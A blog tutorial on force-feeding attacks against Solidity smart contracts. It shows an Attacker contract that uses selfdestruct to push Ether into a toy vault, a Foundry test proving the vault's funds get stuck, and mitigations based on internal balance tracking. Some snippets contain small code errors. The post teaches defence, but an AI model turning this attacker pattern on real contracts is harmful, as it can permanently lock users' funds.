Published on

Force-feeding Smart Contract Attacks

How to influence a smart contract's internal accounting

Authors

In this post we're going to explore force feeding attacks. This type of attack is quite nasty, as it could render our smart contracts unusable if we aren't careful. If you happen to build apps or protocols that rely on your smart contract's Ether balance, then you probably want to be aware of this one.

Let's have a look.

How smart contracts receive Ether

First of all, we need to get an understanding of how smart contracts receive Ether. This will also explain how one might go about having a smart contract not receive any Ether, which could then eventually lead to the exploit I'm going to discuss in this post.

Sending Ether is generally done through either transfer(someValue), send(someValue) or call{value: someValue}(). There are reasons why there's three options to choose from and why you want to use call() whenever possible. What's important here, is that these functions are called on some target address, which can be either an EOA account or another smart contract. As a matter of fact, prior to performing such a call, you might not even know if the address you're sending to is an EOA or not.

However, while EOA accounts can't prevent other accounts from sending them funds, smart contracts have access to a couple options that let them control if and how they want to receive funds. First and foremost, any function of a smart contract that is marked as payable is able to receive Ether.

Below is an example of a super simple smart contract that allows for receiving Ether during deployment, by making its constructor payable:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract Fundable {
    constructor() payable {}
}

Often the payable modifier is used for functions that allow users to,deposit some funds. Here's an excerpt of a simplified vault contract taken from my post about Single-Function Reentrancy Attacks that illustrates this:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract SimpleVault {

  mapping(address accounts => uint256 balance) public balances;

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }
  ...
}

If, however, the account that attempts to send your contract funds isn't interested in calling any function, but really just wants to perform the transfer, then the contract has to implement a special receive() function, which is also marked as external payable. This functions gets invoked by the EVM if the there's no calldata attached to the call(). For more details on what calldata is, check out this post on ABI Encoding and EVM Calldata demystified.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract Fundable {
  // `Fundable` can now receive funds
  receive() external payable {}
}

And just to make things a bit more confusing, if there's no receive() function, then the EVM will look for another special function, fallback() external payable {}, which in this case will serve the same purpose:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract Fundable {
  // `Fundable` can now receive funds
  fallback() external payable {}
}

If none of the above exist, meaning, no function that is payable and also no receive() or fallback() functions, and an account still attempts to send funds to the contract, then the transaction will revert. At this point, it looks like our contract will under no circumstances receive or accept any Ether.

And this is exactly where force-feeding comes into play, which essentially allows accounts to still send funds to our contract.

Force-feeding using SELFDESTRUCT

There are a few options to force-feed another contract and in this post I'd like to focus on the type of attack that uses the SELFDESTRUCT opcode. As the name suggests, SELFDESTRUCT forces a contract to destruct itself. In technical terms this means, by the end of the transaction that performed this operation, the contract's code and storage will be removed.

In addition to terminating the contract, the selfdestruct() function takes a (payable) address where all remaining funds of the contract are sent to. Originally, the idea was to use this as an escape route in case a contract was under attack. Developers could then call selfdestruct() and have all funds sent to some legitimate address, preventing the attacker from draining more funds.

Here's what it looks like:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract SelfDestructable {
  // `terminate` will make the contract uncallable 
  function terminate(address sendTo) public {
      selfdestruct(payable(sendTo));
  }
}

And this is exactly the operation one can perform to force-feed funds to some address. The funds sent via selfdestruct() do not pass through receive() or fallback(), so even if our contract under-attack implemented those and have them immediately revert(), an attacker can still selfdestruct() some other contract and have it send funds it.

Just as a side node: There are various reasons why SELFDESTRUCT should not be used anymore and the official Solidity docs even deprecated its usage per EIP-6049. However, attackers probably don't really care about that, so we need to watch out for this regardless.

So how exactly can this turn into a problem? Receving funds by random accounts is not exactly a bad thing per se. Or is it?

Executing the attack

Probably, the most trivial way to use this as an exploit is when a smart contract relies on its balance via address(this).balance for internal accounting. To illustrate this, let's have a look at the following example vault contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract FunnyVault {

  uint256 closeAmount = 3 ether;

  address luckyOne;

  function deposit() public payable {
      require(msg.value == 1 ether, "only 1 ether");

      uint256 balance = address(this).balance;
      require(balance <= closeAmount, "the vault is closed");

      if (balance == closeAmount) {
          luckyOne = msg.sender;
      }
  }

  function withdraw() public {
      require(msg.sender == luckyOne, "not lucky");

      (bool success, ) = msg.sender.call{value: address(this).balance}("");
      require(success, "failed to send funds");
  }
}

Here's what it does:

  • The vault allows any user to deposit exactly 1 ETH per transaction
  • If, after depositing, the contract reaches its closeAmount, then the account that sent the transaction becomes the luckyOne
  • If the contract already owns 3 ETH, then the vault is considered closed and no more deposits can be made
  • The account that is the luckyOne can then withdraw all funds that live in the contract

Let's ignore the fact that this is not exactly a vault you'll see in real life and focus on how this can be attacked. The issue here is that an attacker can force the contract into its "closed" without having a luckyOne being selected.

How? Well, the only thing that needs to happen here is that two deposits are made by actual users, then, before the third deposit is made, which closes the vault, an attacker can force feed >= 1 ETH into it, rendering the vault closed and making it impossible to withdraw any funds because there's no address set for luckyOne.

Here's what such an attacker contract could look like:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {FunnyVault} from "./FunnyVault.sol";

contract Attacker {
    function attack(address target) external payable {
        selfdestruct(payable(target));
    }
}

It's really not that different from the example snippet mentioned earlier.

Let's write a test that proofs that this attack works. First of all we instantiate FunnyVault and Attacker and a few user accounts to simulate the scenario.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";
import {FunnyVault} from "../src/FunnyVault.sol";
import {Attacker} from "../src/Attacker.sol";

contract ForceFeedAttack is Test {
    FunnyVault public vault;
    Attacker public attacker;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address charles = makeAddr("charles");

    function setUp() public {
        vault = new FunnyVault();
        attacker = new Attacker(vault);
    }
    ...
}

Then alice and bob deposit 1 ETH each into the contract:

contract ForceFeedAttack is Test {
    ...
    function testForceFeedAttack() public {
      // ensure alice and bob have funds
      vm.deal(alice, 1 ether);
      vm.deal(bob, 1 ether);

      // alice and bob deposit 1 ETH each
      vm.prank(alice);
      vault.deposit{value: 1 ether}();
      vm.prank(bob);
      vault.deposit{value: 1 ether}();

      assertEq(address(vault).balance, 2 ether); // There's now 2 ETH in the vault
      ...
    }
}

The next user who calls deposit() successfully should become the luckyOne, however we now have attacker perform its attack, making all funds of the vault unrecoverable:

contract ForceFeedAttack is Test {
    ...
    function testForceFeedAttack public {
      ...
      // ensure `attacker` has funds that will be sent 
      // to `vault` on self destruct
      vm.deal(address(attacker), 1 ether);
      attacker.attack(address(vault));

      assertEq(address(vault).balance, 3 ether);
      // funds are now stuck forever
      assertEq(vault.luckyOne(), address(0));

      // `charles` tries to deposit
      vm.deal(charles, 1 ether);
      vm.prank(charles);
      vm.expectRevert(); // `deposit` will revert as the vault is closed
      vault.deposit{value: 1 ether}();
    }
}

Running this test using Foundry will produce the following output - the attack has worked!

Running 1 test for test/ForceFeedAttack.t.sol:ForceFeedAttack
[PASS] testForceFeedAttack() (gas: 52967)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.20ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Protecting against Force-feeding Attacks

In this particular case, the simplest thing we can do here is to avoid strict equality checks when setting the luckyOne. In other words, if we change this:

if (vaultBalance == closeAmount) {
    luckyOne = msg.sender;
}

to this:

if (vaultBalance >= closeAmount) {
    luckyOne = msg.sender;
}

Then the contract would still function properly.

However, more generally, it's good practice to not rely on your contract's balance for any kind of internal accounting altogether. Instead of calling straight into address(this).balance to figure out what needs to happen, it's better to keep track of the known balance via a property on the contract itself.

In the case of the example above, our contract would no longer be vulnerable to the attack if we made the following changes:

contract FunnyVault {

  uint256 vaultBalance;
  uint256 closeAmount = 3 ether;

  address public luckyOne;

  function deposit() public payable {
      require(msg.value == 1 ether, "only 1 ether");
      require(vaultBalance <= closeAmount, "the vault is closed");

      vaultBalance += msg.value;

      if (vaultBalance == closeAmount) {
          luckyOne = msg.sender;
      }
  }

  function withdraw() public {
      require(msg.sender == luckyOne, "not lucky");

      (bool success, ) = msg.sender.call{value: vaultBalance}("");
      require(success, "failed to send funds");
  }
}

We've merely introduced a vaultBalance state variable that is updated with the deposits done by users. We use the same variable to send all known funds to the luckyOne. Here one could argue that we could still rely on address(this).balance as the withdraw amount is going to be at least 3 ETH, and possibly more if indeed some attacker force-fed the contract, which is not necessarily bad for the luckyOne.

Running the test again proofs that the contract is now protected:

Running 1 test for test/ForceFeedAttack.t.sol:ForceFeedAttack
[FAIL. Reason: Call did not revert as expected] testForceFeedAttack() (gas: 96489)
Traces:
  [96489] ForceFeedAttack::testForceFeedAttack()
    ├─ [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000 [1e18])
    │   └─ ← ()
    ├─ [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000 [1e18])
    │   └─ ← ()
    ├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   └─ ← ()
    ├─ [24790] FunnyVault::deposit{value: 1000000000000000000}()
    │   └─ ← ()
    ├─ [0] VM::prank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
    │   └─ ← ()
    ├─ [890] FunnyVault::deposit{value: 1000000000000000000}()
    │   └─ ← ()
    ├─ [0] VM::deal(Attacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000 [1e18])
    │   └─ ← ()
    ├─ [5233] Attacker::attack(FunnyVault: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
    │   └─ ← ()
    ├─ [2347] FunnyVault::luckyOne() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000
    ├─ [0] VM::deal(charles: [0xE4518F8af20a939c62986Cc360e93A91826f5F27], 1000000000000000000 [1e18])
    │   └─ ← ()
    ├─ [0] VM::prank(charles: [0xE4518F8af20a939c62986Cc360e93A91826f5F27])
    │   └─ ← ()
    ├─ [0] VM::expectRevert()
    │   └─ ← ()
    ├─ [21025] FunnyVault::deposit{value: 1000000000000000000}()
    │   └─ ← ()
    └─ ← "Call did not revert as expected"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.00ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ForceFeedAttack.t.sol:ForceFeedAttack
[FAIL. Reason: Call did not revert as expected] testForceFeedAttack() (gas: 96489)

Encountered a total of 1 failing tests, 0 tests succeeded

Wrapping it up

I hope this was useful and you've learned something new! The most important takeaway here is that reading the contract's Ether balance can lead to unexpected results.